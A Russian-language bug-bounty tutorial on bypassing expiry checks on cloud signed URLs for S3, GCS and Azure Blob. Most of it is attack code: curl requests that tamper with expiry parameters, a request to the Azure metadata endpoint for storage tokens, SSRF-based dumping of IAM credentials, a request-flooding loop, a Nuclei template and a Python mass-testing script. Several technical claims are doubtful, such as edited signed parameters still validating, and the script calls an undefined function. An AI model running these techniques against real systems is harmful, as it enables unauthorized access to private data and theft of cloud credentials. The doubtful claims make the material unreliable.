Что это за хрень
Signed URLs — это временные ссылки на приватные объекты в облачных хранилищах (S3, GCS, Azure Blob). Идея простая: генерируешь URL с подписью HMAC, добавляешь expiration (срок годности), и юзер может скачать файл без аутентификации. Через час (или сколько там поставил) — ссылка протухает. В теории.
На практике — разработчики косячат на каждом шагу, и ты получаешь вечный доступ к банковским выпискам/паспортам/интимным фоточкам. Welcome to bug bounty paradise.
Где бажат (топ-3 классики)
1. Валидация только на клиенте
Бэкенд генерит signed URL с Expires=3600, отдаёт фронту. Фронт показывает таймер “Ссылка истечёт через 59:59…”. Таймер закончился — UI блокирует кнопку. Но сама ссылка всё ещё жива, потому что сервак не перепроверяет.
Пруф:
|
1 2 |
curl "https://s3.amazonaws.com/private-bucket/secret.pdf?AWSAccessKeyId=AKIAХХХХХ&Expires=1699650000&Signature=deadbeef" \ -H "Date: Mon, 01 Jan 2099 00:00:00 GMT" |
Если возвращает 200 OK — поздравляю, ты нашёл вечную ссылку.
2. Слепое доверие параметру Expires
AWS S3 принимает параметр Expires в Unix-timestamp. Некоторые самописные обёртки (типа Ruby Fog, старые версии boto2) не валидируют его перед подписью. Результат:
|
1 2 3 4 5 |
# Баганутый код (НЕ ИСПОЛЬЗУЙ): expires = int(request.GET['user_expires']) # Юзер передаёт параметр url = s3.generate_presigned_url('get_object', Params={'Bucket': 'private', 'Key': 'data.zip'}, ExpiresIn=expires) |
Атакующий засовывает user_expires=9999999999 (год 2286) — получает ссылку на 261 год вперёд.
Эксплойт:
|
1 |
curl "https://api.target.com/generate-link?file=confidential.xlsx&expires=9999999999" |
3. Утечка подписывающих ключей
Azure Blob использует Shared Access Signature (SAS) с секретным ключом. Если ключ засветился (например, в гит-репе или через SSRF на metadata-endpoint), ты можешь крафтить свои вечные SAS-токены:
|
1 2 3 4 5 |
# Azure metadata leak (типичный вектор): curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/" # Генерим вечный токен: python3 gen-sas.py --account privateblob --key "твой_украденный_key" --expiry 2099-12-31T23:59:59Z |
Че почем: атакуем на практике
AWS S3 — Fuzzing параметров
Инструмент: s3scanner + собственные скрипты.
|
1 2 3 4 5 6 7 8 9 10 11 |
# 1. Находим signed URL (Burp/мониторинг трафика): https://mybucket.s3.amazonaws.com/report.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=...&X-Amz-Date=20251110T141700Z&X-Amz-Expires=3600&X-Amz-Signature=... # 2. Модифицируем X-Amz-Expires на 999999999: curl "https://mybucket.s3.amazonaws.com/report.pdf?X-Amz-Algorithm=...&X-Amz-Expires=999999999&..." # 3. Если 403 Forbidden → проверяем X-Amz-Date (иногда валидируют дату, а не Expires): while true; do curl -I "https://mybucket.s3.amazonaws.com/..." -H "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" | grep "200 OK" && break sleep 60 done |
Если видишь <Error><Code>SignatureDoesNotMatch</Code> — подпись проверяется. Но если 200 OK через месяц — бинго.
Google Cloud Storage — Time Travel
GCS использует Expires в формате Unix timestamp. Баг: некоторые либы игнорируют Expires, если есть X-Goog-Date в будущем.
|
1 2 3 4 5 6 |
# Получаем signed URL: https://storage.googleapis.com/private-files/secret.json?GoogleAccessId=...&Expires=1699650000&Signature=... # Атака: curl "https://storage.googleapis.com/private-files/secret.json?..." \ -H "X-Goog-Date: 20991231T235959Z" |
Если GCS не проверяет заголовок против Expires — файл твой.
Azure Blob — SAS Token Replay
Azure SAS токены содержат se=2025-11-10T17:17:00Z (expiry). Но если backend генерит их через устаревший SDK (Azure.Storage.Blobs < 12.8.0), валидация пропускается при определённых комбинациях параметров.
Эксплойт:
|
1 2 3 4 5 6 7 |
# 1. Находим SAS-токен: https://myaccount.blob.core.windows.net/private/data.csv?sv=2021-06-08&se=2025-11-10T17%3A17%3A00Z&sr=b&sp=r&sig=... # 2. Меняем se на 2099: https://myaccount.blob.core.windows.net/private/data.csv?sv=2021-06-08&se=2099-12-31T23%3A59%3A59Z&sr=b&sp=r&sig=... # 3. Если sig не проверяется заново — файл скачивается. |
Автоматизация охоты
Nuclei Template
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
id: signed-url-expiry-bypass info: name: Signed URL Expiry Validation Bypass severity: high http: - method: GET path: - "{{BaseURL}}/api/files?id={{file_id}}" matchers: - type: regex regex: - 'X-Amz-Expires=\d{1,6}' # Короткий expiry - type: status status: - 200 |
Python-скрипт для массовой проверки
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
import requests from datetime import datetime, timedelta def test_eternal_link(url): # Парсим Expires из URL expires = parse_expires(url) # Модифицируем на +10 лет new_expires = int((datetime.now() + timedelta(days=3650)).timestamp()) modified_url = url.replace(f"Expires={expires}", f"Expires={new_expires}") r = requests.get(modified_url) if r.status_code == 200: print(f"[!] ВЕЧНАЯ ССЫЛКА: {url}") return r.status_code == 200 |
Доказательство для баунти
1. Скриншот оригинального Expires (например, Expires=1699650000 → 10 ноября 2025)
2. Модифицированный запрос с Expires=9999999999
3. Ответ 200 OK с содержимым файла через месяц после генерации
4. Impact: Доступ к PII/финансам/медицинским данным навсегда
Типичный payout: $500-$5000 в зависимости от критичности данных.
Советы
Если не зашло — копай глубже:
1. Проверь Cache-Control: Если CDN кеширует signed URL с max-age=31536000, файл доступен даже после протухания подписи. Тест: curl -H "If-Modified-Since: Thu, 01 Jan 1970 00:00:00 GMT" ...
2. SSRF на metadata: Облачные инстансы хранят IAM-роли/ключи по адресу http://169.254.169.254/latest/meta-data/iam/security-credentials/. Если есть SSRF — дампишь креды, генерируешь свои вечные токены.
3. Race condition в refresh: Некоторые API обновляют signed URL через /refresh-link. Засыпай endpoint’у while true; do curl /refresh-link & done — может, сервак выдаст токен с Expires=0.
4. Логирование токенов: Ищи в Sentry/Datadog/CloudWatch логи с полными signed URLs. Часто разрабы логируют их «для дебага» — и забывают стереть.
5. Fallback на публичный режим: Если валидация падает с ошибкой, некоторые либы открывают доступ вместо 403. Тест: curl --max-time 0.01 "signed-url" (таймаут → ошибка валидации → fallback).
